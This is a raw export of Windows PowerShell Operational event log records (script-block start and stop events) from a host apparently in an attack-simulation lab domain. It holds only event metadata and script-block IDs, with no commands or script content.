Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048379
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048378
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048377
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048376
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048360
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048359
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048354
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048353
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048342
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048329
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048328
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048327
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048326
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
